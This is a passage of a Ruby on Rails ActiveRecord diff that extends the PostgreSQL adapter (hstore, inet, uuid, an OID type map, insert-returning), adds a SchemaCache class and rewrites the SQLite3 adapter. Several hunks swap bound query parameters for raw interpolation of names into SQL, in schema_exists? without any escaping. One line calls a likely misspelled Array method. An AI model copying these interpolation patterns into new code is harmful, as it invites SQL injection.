         end
+
+        def hstore(name, options = {})
+          column(name, 'hstore', options)
+        end
+
+        def inet(name, options = {})
+          column(name, 'inet', options)
+        end
+
+        def cidr(name, options = {})
+          column(name, 'cidr', options)
+        end
+
+        def macaddr(name, options = {})
+          column(name, 'macaddr', options)
+        end
+
+        def uuid(name, options = {})
+          column(name, 'uuid', options)
+        end
       end
 
       ADAPTER_NAME = 'PostgreSQL'
@@ -233,7 +342,12 @@ module ActiveRecord
         :binary      => { :name => "bytea" },
         :boolean     => { :name => "boolean" },
         :xml         => { :name => "xml" },
-        :tsvector    => { :name => "tsvector" }
+        :tsvector    => { :name => "tsvector" },
+        :hstore      => { :name => "hstore" },
+        :inet        => { :name => "inet" },
+        :cidr        => { :name => "cidr" },
+        :macaddr     => { :name => "macaddr" },
+        :uuid        => { :name => "uuid" }
       }
 
       # Returns 'PostgreSQL' as adapter name for identification purposes.
@@ -251,6 +365,10 @@ module ActiveRecord
         true
       end
 
+      def supports_partial_index?
+        true
+      end
+
       class StatementPool < ConnectionAdapters::StatementPool
         def initialize(connection, max)
           super
@@ -289,7 +407,7 @@ module ActiveRecord
 
         private
         def cache
-          @cache[$$]
+          @cache[Process.pid]
         end
 
         def dealloc(key)
@@ -303,9 +421,22 @@ module ActiveRecord
         end
       end
 
+      class BindSubstitution < Arel::Visitors::PostgreSQL # :nodoc:
+        include Arel::Visitors::BindVisitor
+      end
+
       # Initializes and connects a PostgreSQL adapter.
       def initialize(connection, logger, connection_parameters, config)
         super(connection, logger)
+
+        if config.fetch(:prepared_statements) { true }
+          @visitor = Arel::Visitors::PostgreSQL.new self
+        else
+          @visitor = BindSubstitution.new self
+        end
+
+        connection_parameters.delete :prepared_statements
+
         @connection_parameters, @config = connection_parameters, config
 
         # @local_tz is initialized as nil to avoid warnings when connect tries to use it
@@ -320,11 +451,9 @@ module ActiveRecord
           raise "Your version of PostgreSQL (#{postgresql_version}) is too old, please upgrade!"
         end
 
+        initialize_type_map
         @local_tz = execute('SHOW TIME ZONE', 'SCHEMA').first["TimeZone"]
-      end
-
-      def self.visitor_for(pool) # :nodoc:
-        Arel::Visitors::PostgreSQL.new(pool)
+        @use_insert_returning = @config.key?(:insert_returning) ? @config[:insert_returning] : true
       end
 
       # Clears the prepared statements cache.
@@ -334,7 +463,8 @@ module ActiveRecord
 
       # Is this connection alive and ready for queries?
       def active?
-        @connection.status == PGconn::CONNECTION_OK
+        @connection.query 'SELECT 1'
+        true
       rescue PGError
         false
       end
@@ -343,6 +473,7 @@ module ActiveRecord
       def reconnect!
         clear_cache!
         @connection.reset
+        @open_transactions = 0
         configure_connection
       end
 
@@ -393,23 +524,28 @@ module ActiveRecord
         true
       end
 
+      # Returns true.
+      def supports_explain?
+        true
+      end
+
       # Returns the configured supported identifier length supported by PostgreSQL
       def table_alias_length
-        @table_alias_length ||= query('SHOW max_identifier_length')[0][0].to_i
+        @table_alias_length ||= query('SHOW max_identifier_length', 'SCHEMA')[0][0].to_i
       end
 
       # QUOTING ==================================================
 
       # Escapes binary strings for bytea input to the database.
       def escape_bytea(value)
-        @connection.escape_bytea(value) if value
+        PGconn.escape_bytea(value) if value
       end
 
       # Unescapes bytea output from a database to the binary string it represents.
       # NOTE: This is NOT an inverse of escape_bytea! This is only to be used
       #       on escaped binary output from database drive.
       def unescape_bytea(value)
-        @connection.unescape_bytea(value) if value
+        PGconn.unescape_bytea(value) if value
       end
 
       # Quotes PostgreSQL-specific data types for SQL input.
@@ -417,9 +553,24 @@ module ActiveRecord
         return super unless column
 
         case value
+        when Hash
+          case column.sql_type
+          when 'hstore' then super(PostgreSQLColumn.hstore_to_string(value), column)
+          else super
+          end
+        when IPAddr
+          case column.sql_type
+          when 'inet', 'cidr' then super(PostgreSQLColumn.cidr_to_string(value), column)
+          else super
+          end
         when Float
-          return super unless value.infinite? && column.type == :datetime
-          "'#{value.to_s.downcase}'"
+          if value.infinite? && column.type == :datetime
+            "'#{value.to_s.downcase}'"
+          elsif value.infinite? || value.nan?
+            "'#{value.to_s}'"
+          else
+            super
+          end
         when Numeric
           return super unless column.sql_type == 'money'
           # Not truly string input, so doesn't require (or allow) escape string syntax.
@@ -448,6 +599,12 @@ module ActiveRecord
         when String
           return super unless 'bytea' == column.sql_type
           { :value => value, :format => 1 }
+        when Hash
+          return super unless 'hstore' == column.sql_type
+          PostgreSQLColumn.hstore_to_string(value)
+        when IPAddr
+          return super unless ['inet','cidr'].includes? column.sql_type
+          PostgreSQLColumn.cidr_to_string(value)
         else
           super
         end
@@ -517,9 +674,9 @@ module ActiveRecord
 
       # DATABASE STATEMENTS ======================================
 
-      def explain(arel)
-        sql = "EXPLAIN #{to_sql(arel)}"
-        ExplainPrettyPrinter.new.pp(exec_query(sql))
+      def explain(arel, binds = [])
+        sql = "EXPLAIN #{to_sql(arel, binds)}"
+        ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', binds))
       end
 
       class ExplainPrettyPrinter # :nodoc:
@@ -573,8 +730,11 @@ module ActiveRecord
           pk = primary_key(table_ref) if table_ref
         end
 
-        if pk
+        if pk && use_insert_returning?
           select_value("#{sql} RETURNING #{quote_column_name(pk)}")
+        elsif pk
+          super
+          last_insert_id_value(sequence_name || default_sequence_name(table_ref, pk))
         else
           super
         end
@@ -640,7 +800,7 @@ module ActiveRecord
       end
 
       def substitute_at(column, index)
-        Arel.sql("$#{index + 1}")
+        Arel::Nodes::BindParam.new "$#{index + 1}"
       end
 
       def exec_query(sql, name = 'SQL', binds = [])
@@ -648,7 +808,17 @@ module ActiveRecord
           result = binds.empty? ? exec_no_cache(sql, binds) :
                                   exec_cache(sql, binds)
 
-          ret = ActiveRecord::Result.new(result.fields, result_as_array(result))
+          types = {}
+          result.fields.each_with_index do |fname, i|
+            ftype = result.ftype i
+            fmod  = result.fmod i
+            types[fname] = OID::TYPE_MAP.fetch(ftype, fmod) { |oid, mod|
+              warn "unknown OID: #{fname}(#{oid}) (#{sql})"
+              OID::Identity.new
+            }
+          end
+
+          ret = ActiveRecord::Result.new(result.fields, result.values, types)
           result.clear
           return ret
         end
@@ -672,11 +842,27 @@ module ActiveRecord
           pk = primary_key(table_ref) if table_ref
         end
 
-        sql = "#{sql} RETURNING #{quote_column_name(pk)}" if pk
+        if pk && use_insert_returning?
+          sql = "#{sql} RETURNING #{quote_column_name(pk)}"
+        end
 
         [sql, binds]
       end
 
+      def exec_insert(sql, name, binds, pk = nil, sequence_name = nil)
+        val = exec_query(sql, name, binds)
+        if !use_insert_returning? && pk
+          unless sequence_name
+            table_ref = extract_table_ref_from_insert_sql(sql)
+            sequence_name = default_sequence_name(table_ref, pk)
+            return val unless sequence_name
+          end
+          last_insert_id_result(sequence_name)
+        else
+          val
+        end
+      end
+
       # Executes an UPDATE query and returns the number of affected tuples.
       def update_sql(sql, name = nil)
         super.cmd_tuples
@@ -723,7 +909,8 @@ module ActiveRecord
       end
 
       # Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>,
-      # <tt>:encoding</tt>, <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
+      # <tt>:encoding</tt>, <tt>:collation</tt>, <tt>:ctype</tt>,
+      # <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
       # <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
       #
       # Example:
@@ -740,6 +927,10 @@ module ActiveRecord
             " TEMPLATE = \"#{value}\""
           when :encoding
             " ENCODING = '#{value}'"
+          when :collation
+            " LC_COLLATE = '#{value}'"
+          when :ctype
+            " LC_CTYPE = '#{value}'"
           when :tablespace
             " TABLESPACE = \"#{value}\""
           when :connection_limit
@@ -779,28 +970,28 @@ module ActiveRecord
         binds = [[nil, table]]
         binds << [nil, schema] if schema
 
-        exec_query(<<-SQL, 'SCHEMA', binds).rows.first[0].to_i > 0
+        exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
             SELECT COUNT(*)
             FROM pg_class c
             LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
             WHERE c.relkind in ('v','r')
-            AND c.relname = $1
-            AND n.nspname = #{schema ? '$2' : 'ANY (current_schemas(false))'}
+            AND c.relname = '#{table.gsub(/(^"|"$)/,'')}'
+            AND n.nspname = #{schema ? "'#{schema}'" : 'ANY (current_schemas(false))'}
         SQL
       end
 
       # Returns true if schema exists.
       def schema_exists?(name)
-        exec_query(<<-SQL, 'SCHEMA', [[nil, name]]).rows.first[0].to_i > 0
+        exec_query(<<-SQL, 'SCHEMA').rows.first[0].to_i > 0
           SELECT COUNT(*)
           FROM pg_namespace
-          WHERE nspname = $1
+          WHERE nspname = '#{name}'
         SQL
       end
 
       # Returns an array of indexes for the given table.
       def indexes(table_name, name = nil)
-         result = query(<<-SQL, name)
+         result = query(<<-SQL, 'SCHEMA')
            SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid), t.oid
            FROM pg_class t
            INNER JOIN pg_index d ON t.oid = d.indrelid
@@ -812,7 +1003,6 @@ module ActiveRecord
           ORDER BY i.relname
         SQL
 
-
         result.map do |row|
           index_name = row[0]
           unique = row[1] == 't'
@@ -832,22 +1022,26 @@ module ActiveRecord
           # add info on sort order for columns (only desc order is explicitly specified, asc is the default)
           desc_order_columns = inddef.scan(/(\w+) DESC/).flatten
           orders = desc_order_columns.any? ? Hash[desc_order_columns.map {|order_column| [order_column, :desc]}] : {}
-      
-          column_names.empty? ? nil : IndexDefinition.new(table_name, index_name, unique, column_names, [], orders)
+          where = inddef.scan(/WHERE (.+)$/).flatten[0]
+
+          column_names.empty? ? nil : IndexDefinition.new(table_name, index_name, unique, column_names, [], orders, where)
         end.compact
       end
 
       # Returns the list of all column definitions for a table.
-      def columns(table_name, name = nil)
+      def columns(table_name)
         # Limit, precision, and scale are all handled by the superclass.
-        column_definitions(table_name).collect do |column_name, type, default, notnull|
-          PostgreSQLColumn.new(column_name, default, type, notnull == 'f')
+        column_definitions(table_name).map do |column_name, type, default, notnull, oid, fmod|
+          oid = OID::TYPE_MAP.fetch(oid.to_i, fmod.to_i) {
+            OID::Identity.new
+          }
+          PostgreSQLColumn.new(column_name, default, oid, type, notnull == 'f')
         end
       end
 
       # Returns the current database name.
       def current_database
-        query('select current_database()')[0][0]
+        query('select current_database()', 'SCHEMA')[0][0]
       end
 
       # Returns the current schema name.
@@ -857,12 +1051,47 @@ module ActiveRecord
 
       # Returns the current database encoding format.
       def encoding
-        query(<<-end_sql)[0][0]
+        query(<<-end_sql, 'SCHEMA')[0][0]
           SELECT pg_encoding_to_char(pg_database.encoding) FROM pg_database
           WHERE pg_database.datname LIKE '#{current_database}'
         end_sql
       end
 
+      # Returns the current database collation.
+      def collation
+        query(<<-end_sql, 'SCHEMA')[0][0]
+          SELECT pg_database.datcollate FROM pg_database WHERE pg_database.datname LIKE '#{current_database}'
+        end_sql
+      end
+
+      # Returns the current database ctype.
+      def ctype
+        query(<<-end_sql, 'SCHEMA')[0][0]
+          SELECT pg_database.datctype FROM pg_database WHERE pg_database.datname LIKE '#{current_database}'
+        end_sql
+      end
+
+      # Returns an array of schema names.
+      def schema_names
+        query(<<-SQL, 'SCHEMA').flatten
+          SELECT nspname
+            FROM pg_namespace
+           WHERE nspname !~ '^pg_.*'
+             AND nspname NOT IN ('information_schema')
+           ORDER by nspname;
+        SQL
+      end
+
+      # Creates a schema for the given schema name.
+      def create_schema schema_name
+        execute "CREATE SCHEMA #{schema_name}"
+      end
+
+      # Drops the schema for the given schema name.
+      def drop_schema schema_name
+        execute "DROP SCHEMA #{schema_name} CASCADE"
+      end
+
       # Sets the schema search path to a string of comma-separated schema names.
       # Names beginning with $ have to be quoted (e.g. $user => '$user').
       # See: http://www.postgresql.org/docs/current/static/ddl-schemas.html
@@ -870,7 +1099,7 @@ module ActiveRecord
       # This should be not be called manually but set in database.yml.
       def schema_search_path=(schema_csv)
         if schema_csv
-          execute "SET search_path TO #{schema_csv}"
+          execute("SET search_path TO #{schema_csv}", 'SCHEMA')
           @schema_search_path = schema_csv
         end
       end
@@ -892,14 +1121,16 @@ module ActiveRecord
 
       # Returns the sequence name for a table's primary key or some other specified key.
       def default_sequence_name(table_name, pk = nil) #:nodoc:
-        serial_sequence(table_name, pk || 'id').split('.').last
+        result = serial_sequence(table_name, pk || 'id')
+        return nil unless result
+        result.split('.').last
       rescue ActiveRecord::StatementInvalid
         "#{table_name}_#{pk || 'id'}_seq"
       end
 
       def serial_sequence(table, column)
-        result = exec_query(<<-eosql, 'SCHEMA', [[nil, table], [nil, column]])
-          SELECT pg_get_serial_sequence($1, $2)
+        result = exec_query(<<-eosql, 'SCHEMA')
+          SELECT pg_get_serial_sequence('#{table}', '#{column}')
         eosql
         result.rows.first.first
       end
@@ -930,51 +1161,78 @@ module ActiveRecord
       def pk_and_sequence_for(table) #:nodoc:
         # First try looking for a sequence with a dependency on the
         # given table's primary key.
-        result = exec_query(<<-end_sql, 'SCHEMA').rows.first
-          SELECT attr.attname, ns.nspname, seq.relname
-          FROM pg_class seq
-          INNER JOIN pg_depend dep ON seq.oid = dep.objid
-          INNER JOIN pg_attribute attr ON attr.attrelid = dep.refobjid AND attr.attnum = dep.refobjsubid
-          INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = cons.conkey[1]
-          INNER JOIN pg_namespace ns ON seq.relnamespace = ns.oid
-          WHERE seq.relkind  = 'S'
-            AND cons.contype = 'p'
-            AND dep.refobjid = '#{quote_table_name(table)}'::regclass
+        result = query(<<-end_sql, 'PK and serial sequence')[0]
+          SELECT attr.attname, seq.relname
+          FROM pg_class      seq,
+               pg_attribute  attr,
+               pg_depend     dep,
+               pg_namespace  name,
+               pg_constraint cons
+          WHERE seq.oid           = dep.objid
+            AND seq.relkind       = 'S'
+            AND attr.attrelid     = dep.refobjid
+            AND attr.attnum       = dep.refobjsubid
+            AND attr.attrelid     = cons.conrelid
+            AND attr.attnum       = cons.conkey[1]
+            AND cons.contype      = 'p'
+            AND dep.refobjid      = '#{quote_table_name(table)}'::regclass
         end_sql
 
-        # [primary_key, sequence]
-        if result.second ==  'public' then
-          sequence = result.last
-        else
-          sequence = result.second+'.'+result.last
+        if result.nil? or result.empty?
+          # If that fails, try parsing the primary key's default value.
+          # Support the 7.x and 8.0 nextval('foo'::text) as well as
+          # the 8.1+ nextval('foo'::regclass).
+          result = query(<<-end_sql, 'PK and custom sequence')[0]
+            SELECT attr.attname,
+              CASE
+                WHEN split_part(def.adsrc, '''', 2) ~ '.' THEN
+                  substr(split_part(def.adsrc, '''', 2),
+                         strpos(split_part(def.adsrc, '''', 2), '.')+1)
+                ELSE split_part(def.adsrc, '''', 2)
+              END
+            FROM pg_class       t
+            JOIN pg_attribute   attr ON (t.oid = attrelid)
+            JOIN pg_attrdef     def  ON (adrelid = attrelid AND adnum = attnum)
+            JOIN pg_constraint  cons ON (conrelid = adrelid AND adnum = conkey[1])
+            WHERE t.oid = '#{quote_table_name(table)}'::regclass
+              AND cons.contype = 'p'
+              AND def.adsrc ~* 'nextval'
+          end_sql
         end
 
-        [result.first, sequence]
+        [result.first, result.last]
       rescue
         nil
       end
 
       # Returns just a table's primary key
       def primary_key(table)
-        row = exec_query(<<-end_sql, 'SCHEMA', [[nil, table]]).rows.first
+        row = exec_query(<<-end_sql, 'SCHEMA').rows.first
           SELECT DISTINCT(attr.attname)
           FROM pg_attribute attr
           INNER JOIN pg_depend dep ON attr.attrelid = dep.refobjid AND attr.attnum = dep.refobjsubid
           INNER JOIN pg_constraint cons ON attr.attrelid = cons.conrelid AND attr.attnum = cons.conkey[1]
           WHERE cons.contype = 'p'
-            AND dep.refobjid = $1::regclass
+            AND dep.refobjid = '#{table}'::regclass
         end_sql
 
         row && row.first
       end
 
       # Renames a table.
+      # Also renames a table's primary key sequence if the sequence name matches the
+      # Active Record default.
       #
       # Example:
       #   rename_table('octopuses', 'octopi')
       def rename_table(name, new_name)
         clear_cache!
         execute "ALTER TABLE #{quote_table_name(name)} RENAME TO #{quote_table_name(new_name)}"
+        pk, seq = pk_and_sequence_for(new_name)
+        if seq == "#{name}_#{pk}_seq"
+          new_seq = "#{new_name}_#{pk}_seq"
+          execute "ALTER TABLE #{quote_table_name(seq)} RENAME TO #{quote_table_name(new_seq)}"
+        end
       end
 
       # Adds a new column to the named table.
@@ -1032,14 +1290,32 @@ module ActiveRecord
 
       # Maps logical Rails types to PostgreSQL-specific data types.
       def type_to_sql(type, limit = nil, precision = nil, scale = nil)
-        return super unless type.to_s == 'integer'
-        return 'integer' unless limit
+        case type.to_s
+        when 'binary'
+          # PostgreSQL doesn't support limits on binary (bytea) columns.
+          # The hard limit is 1Gb, because of a 32-bit size field, and TOAST.
+          case limit
+          when nil, 0..0x3fffffff; super(type)
+          else raise(ActiveRecordError, "No binary type has byte size #{limit}.")
+          end
+        when 'integer'
+          return 'integer' unless limit
+
+          case limit
+            when 1, 2; 'smallint'
+            when 3, 4; 'integer'
+            when 5..8; 'bigint'
+            else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with precision 0 instead.")
+          end
+        when 'datetime'
+          return super unless precision
 
-        case limit
-          when 1, 2; 'smallint'
-          when 3, 4; 'integer'
-          when 5..8; 'bigint'
-          else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with precision 0 instead.")
+          case precision
+            when 0..6; "timestamp(#{precision})"
+            else raise(ActiveRecordError, "No timestamp type has precision of #{precision}. The allowed range of precision is from 0 to 6")
+          end
+        else
+          super
         end
       end
 
@@ -1054,7 +1330,10 @@ module ActiveRecord
 
         # Construct a clean list of column names from the ORDER BY clause, removing
         # any ASC/DESC modifiers
-        order_columns = orders.collect { |s| s.gsub(/\s+(ASC|DESC)\s*/i, '') }
+        order_columns = orders.collect do |s|
+          s = s.to_sql unless s.is_a?(String)
+          s.gsub(/\s+(ASC|DESC)\s*(NULLS\s+(FIRST|LAST)\s*)?/i, '')
+        end
         order_columns.delete_if { |c| c.blank? }
         order_columns = order_columns.zip((0...order_columns.size).to_a).map { |s,i| "#{s} AS alias_#{i}" }
 
@@ -1080,17 +1359,25 @@ module ActiveRecord
         end
       end
 
+      def use_insert_returning?
+        @use_insert_returning
+      end
+
       protected
         # Returns the version of the connected PostgreSQL server.
         def postgresql_version
           @connection.server_version
         end
 
+        # See http://www.postgresql.org/docs/9.1/static/errcodes-appendix.html
+        FOREIGN_KEY_VIOLATION = "23503"
+        UNIQUE_VIOLATION      = "23505"
+
         def translate_exception(exception, message)
-          case exception.message
-          when /duplicate key value violates unique constraint/
+          case exception.result.try(:error_field, PGresult::PG_DIAG_SQLSTATE)
+          when UNIQUE_VIOLATION
             RecordNotUnique.new(message, exception)
-          when /violates foreign key constraint/
+          when FOREIGN_KEY_VIOLATION
             InvalidForeignKey.new(message, exception)
           else
             super
@@ -1098,6 +1385,22 @@ module ActiveRecord
         end
 
       private
+      def initialize_type_map
+        result = execute('SELECT oid, typname, typelem, typdelim FROM pg_type', 'SCHEMA')
+        leaves, nodes = result.partition { |row| row['typelem'] == '0' }
+
+        # populate the leaf nodes
+        leaves.find_all { |row| OID.registered_type? row['typname'] }.each do |row|
+          OID::TYPE_MAP[row['oid'].to_i] = OID::NAMES[row['typname']]
+        end
+
+        # populate composite types
+        nodes.find_all { |row| OID::TYPE_MAP.key? row['typelem'].to_i }.each do |row|
+          vector = OID::Vector.new row['typdelim'], OID::TYPE_MAP[row['typelem'].to_i]
+          OID::TYPE_MAP[row['oid'].to_i] = vector
+        end
+      end
+
         FEATURE_NOT_SUPPORTED = "0A000" # :nodoc:
 
         def exec_no_cache(sql, binds)
@@ -1120,7 +1423,11 @@ module ActiveRecord
             # prepared statements whose return value may have changed is
             # FEATURE_NOT_SUPPORTED.  Check here for more details:
             # http://git.postgresql.org/gitweb/?p=postgresql.git;a=blob;f=src/backend/utils/cache/plancache.c#l573
-            code = e.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
+            begin
+              code = e.result.result_error_field(PGresult::PG_DIAG_SQLSTATE)
+            rescue
+              raise e
+            end
             if FEATURE_NOT_SUPPORTED == code
               @statements.delete sql_key(sql)
               retry
@@ -1156,7 +1463,7 @@ module ActiveRecord
         # Connects to a PostgreSQL server and sets up the adapter depending on the
         # connected server's characteristics.
         def connect
-          @connection = PGconn.connect(*@connection_parameters)
+          @connection = PGconn.connect(@connection_parameters)
 
           # Money type has a fixed precision of 10 in PostgreSQL 8.2 and below, and as of
           # PostgreSQL 8.3 it has a fixed precision of 19. PostgreSQLColumn.extract_precision
@@ -1172,7 +1479,7 @@ module ActiveRecord
           if @config[:encoding]
             @connection.set_client_encoding(@config[:encoding])
           end
-          self.client_min_messages = @config[:min_messages] if @config[:min_messages]
+          self.client_min_messages = @config[:min_messages] || 'warning'
           self.schema_search_path = @config[:schema_search_path] || @config[:schema_order]
 
           # Use standard-conforming strings if available so we don't have to do the E'...' dance.
@@ -1189,14 +1496,21 @@ module ActiveRecord
 
         # Returns the current ID of a table's sequence.
         def last_insert_id(sequence_name) #:nodoc:
-          r = exec_query("SELECT currval($1)", 'SQL', [[nil, sequence_name]])
-          Integer(r.rows.first.first)
+          Integer(last_insert_id_value(sequence_name))
+        end
+
+        def last_insert_id_value(sequence_name)
+          last_insert_id_result(sequence_name).rows.first.first
+        end
+
+        def last_insert_id_result(sequence_name) #:nodoc:
+          exec_query("SELECT currval('#{sequence_name}')", 'SQL')
         end
 
         # Executes a SELECT query and returns the results, performing any data type
         # conversions that are required to be performed here instead of in PostgreSQLColumn.
         def select(sql, name = nil, binds = [])
-          exec_query(sql, name, binds).to_a
+          exec_query(sql, name, binds)
         end
 
         def select_raw(sql, name = nil)
@@ -1227,7 +1541,7 @@ module ActiveRecord
         #  - ::regclass is a function that gives the id for a table name
         def column_definitions(table_name) #:nodoc:
           exec_query(<<-end_sql, 'SCHEMA').rows
-            SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull
+            SELECT a.attname, format_type(a.atttypid, a.atttypmod), d.adsrc, a.attnotnull, a.atttypid, a.atttypmod
               FROM pg_attribute a LEFT JOIN pg_attrdef d
                 ON a.attrelid = d.adrelid AND a.attnum = d.adnum
              WHERE a.attrelid = '#{quote_table_name(table_name)}'::regclass
diff --git a/activerecord/lib/active_record/connection_adapters/schema_cache.rb b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
new file mode 100644
index 0000000000..aad1f9a7ef
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/schema_cache.rb
@@ -0,0 +1,82 @@
+module ActiveRecord
+  module ConnectionAdapters
+    class SchemaCache
+      attr_reader :columns, :columns_hash, :primary_keys, :tables, :version
+      attr_accessor :connection
+
+      def initialize(conn)
+        @connection = conn
+
+        @columns      = {}
+        @columns_hash = {}
+        @primary_keys = {}
+        @tables       = {}
+        prepare_default_proc
+      end
+
+      # A cached lookup for table existence.
+      def table_exists?(name)
+        return @tables[name] if @tables.key? name
+
+        @tables[name] = connection.table_exists?(name)
+      end
+
+      # Add internal cache for table with +table_name+.
+      def add(table_name)
+        if table_exists?(table_name)
+          @primary_keys[table_name]
+          @columns[table_name]
+          @columns_hash[table_name]
+        end
+      end
+
+      # Clears out internal caches
+      def clear!
+        @columns.clear
+        @columns_hash.clear
+        @primary_keys.clear
+        @tables.clear
+        @version = nil
+      end
+
+      # Clear out internal caches for table with +table_name+.
+      def clear_table_cache!(table_name)
+        @columns.delete table_name
+        @columns_hash.delete table_name
+        @primary_keys.delete table_name
+        @tables.delete table_name
+      end
+
+      def marshal_dump
+        # if we get current version during initialization, it happens stack over flow.
+        @version = ActiveRecord::Migrator.current_version
+        [@version] + [:@columns, :@columns_hash, :@primary_keys, :@tables].map do |val|
+          self.instance_variable_get(val).inject({}) { |h, v| h[v[0]] = v[1]; h }
+        end
+      end
+
+      def marshal_load(array)
+        @version, @columns, @columns_hash, @primary_keys, @tables = array
+        prepare_default_proc
+      end
+
+      private
+
+      def prepare_default_proc
+        @columns.default_proc = Proc.new do |h, table_name|
+          h[table_name] = connection.columns(table_name)
+        end
+
+        @columns_hash.default_proc = Proc.new do |h, table_name|
+          h[table_name] = Hash[columns[table_name].map { |col|
+            [col.name, col]
+          }]
+        end
+
+        @primary_keys.default_proc = Proc.new do |h, table_name|
+          h[table_name] = table_exists?(table_name) ? connection.primary_key(table_name) : nil
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
index 0a0da0b5d3..4fe0013f0f 100644
--- a/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/sqlite3_adapter.rb
@@ -1,12 +1,14 @@
-require 'active_record/connection_adapters/sqlite_adapter'
+require 'active_record/connection_adapters/abstract_adapter'
+require 'active_record/connection_adapters/statement_pool'
+require 'arel/visitors/bind_visitor'
 
-gem 'sqlite3', '~> 1.3.4'
+gem 'sqlite3', '~> 1.3.6'
 require 'sqlite3'
 
 module ActiveRecord
-  class Base
+  module ConnectionHandling
     # sqlite3 adapter reuses sqlite_connection.
-    def self.sqlite3_connection(config) # :nodoc:
+    def sqlite3_connection(config) # :nodoc:
       # Require database.
       unless config[:database]
         raise ArgumentError, "No database file specified. Missing argument: database"
@@ -19,10 +21,6 @@ module ActiveRecord
         config[:database] = File.expand_path(config[:database], Rails.root)
       end
 
-      unless 'sqlite3' == config[:adapter]
-        raise ArgumentError, 'adapter name should be "sqlite3"'
-      end
-
       db = SQLite3::Database.new(
         config[:database],
         :results_as_hash => true
@@ -35,7 +33,183 @@ module ActiveRecord
   end
 
   module ConnectionAdapters #:nodoc:
-    class SQLite3Adapter < SQLiteAdapter # :nodoc:
+    class SQLite3Column < Column #:nodoc:
+      class <<  self
+        def binary_to_string(value)
+          if value.encoding != Encoding::ASCII_8BIT
+            value = value.force_encoding(Encoding::ASCII_8BIT)
+          end
+          value
+        end
+      end
+    end
+
+    # The SQLite3 adapter works SQLite 3.6.16 or newer
+    # with the sqlite3-ruby drivers (available as gem from https://rubygems.org/gems/sqlite3).
+    #
+    # Options:
+    #
+    # * <tt>:database</tt> - Path to the database file.
+    class SQLite3Adapter < AbstractAdapter
+      class Version
+        include Comparable
+
+        def initialize(version_string)
+          @version = version_string.split('.').map { |v| v.to_i }
+        end
+
+        def <=>(version_string)
+          @version <=> version_string.split('.').map { |v| v.to_i }
+        end
+      end
+
+      class StatementPool < ConnectionAdapters::StatementPool
+        def initialize(connection, max)
+          super
+          @cache = Hash.new { |h,pid| h[pid] = {} }
+        end
+
+        def each(&block); cache.each(&block); end
+        def key?(key);    cache.key?(key); end
+        def [](key);      cache[key]; end
+        def length;       cache.length; end
+
+        def []=(sql, key)
+          while @max <= cache.size
+            dealloc(cache.shift.last[:stmt])
+          end
+          cache[sql] = key
+        end
+
+        def clear
+          cache.values.each do |hash|
+            dealloc hash[:stmt]
+          end
+          cache.clear
+        end
+
+        private
+        def cache
+          @cache[$$]
+        end
+
+        def dealloc(stmt)
+          stmt.close unless stmt.closed?
+        end
+      end
+
+      class BindSubstitution < Arel::Visitors::SQLite # :nodoc:
+        include Arel::Visitors::BindVisitor
+      end
+
+      def initialize(connection, logger, config)
+        super(connection, logger)
+        @statements = StatementPool.new(@connection,
+                                        config.fetch(:statement_limit) { 1000 })
+        @config = config
+
+        if config.fetch(:prepared_statements) { true }
+          @visitor = Arel::Visitors::SQLite.new self
+        else
+          @visitor = BindSubstitution.new self
+        end
+      end
+
+      def adapter_name #:nodoc:
+        'SQLite'
+      end
+
+      # Returns true
+      def supports_ddl_transactions?
+        true
+      end
+
+      # Returns true if SQLite version is '3.6.8' or greater, false otherwise.
+      def supports_savepoints?
+        sqlite_version >= '3.6.8'
+      end
+
+      # Returns true, since this connection adapter supports prepared statement
+      # caching.
+      def supports_statement_cache?
+        true
+      end
+
+      # Returns true, since this connection adapter supports migrations.
+      def supports_migrations? #:nodoc:
+        true
+      end
+
+      # Returns true.
+      def supports_primary_key? #:nodoc:
+        true
+      end
+
+      def requires_reloading?
+        true
+      end
+
+      # Returns true
+      def supports_add_column?
+        true
+      end
+
+      # Disconnects from the database if already connected. Otherwise, this
+      # method does nothing.
+      def disconnect!
+        super
+        clear_cache!
+        @connection.close rescue nil
+      end
+
+      # Clears the prepared statements cache.
+      def clear_cache!
+        @statements.clear
+      end
+
+      # Returns true
+      def supports_count_distinct? #:nodoc:
+        true
+      end
+
+      # Returns true
+      def supports_autoincrement? #:nodoc:
+        true
+      end
+
+      def supports_index_sort_order?
+        true
+      end
+
+      def native_database_types #:nodoc:
+        {
+          :primary_key => default_primary_key_type,
+          :string      => { :name => "varchar", :limit => 255 },
+          :text        => { :name => "text" },
+          :integer     => { :name => "integer" },
+          :float       => { :name => "float" },
+          :decimal     => { :name => "decimal" },
+          :datetime    => { :name => "datetime" },
+          :timestamp   => { :name => "datetime" },
+          :time        => { :name => "time" },
+          :date        => { :name => "date" },
+          :binary      => { :name => "blob" },
+          :boolean     => { :name => "boolean" }
+        }
+      end
+
+      # Returns the current database encoding format as a string, eg: 'UTF-8'
+      def encoding
+        @connection.encoding.to_s
+      end
+
+      # Returns true.
+      def supports_explain?
+        true
+      end
+
+      # QUOTING ==================================================
+
       def quote(value, column = nil)
         if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
           s = column.class.string_to_binary(value).unpack("H*")[0]
@@ -45,15 +219,391 @@ module ActiveRecord
         end
       end
 
-      # Returns the current database encoding format as a string, eg: 'UTF-8'
-      def encoding
-        if @connection.respond_to?(:encoding)
-          @connection.encoding.to_s
+      def quote_string(s) #:nodoc:
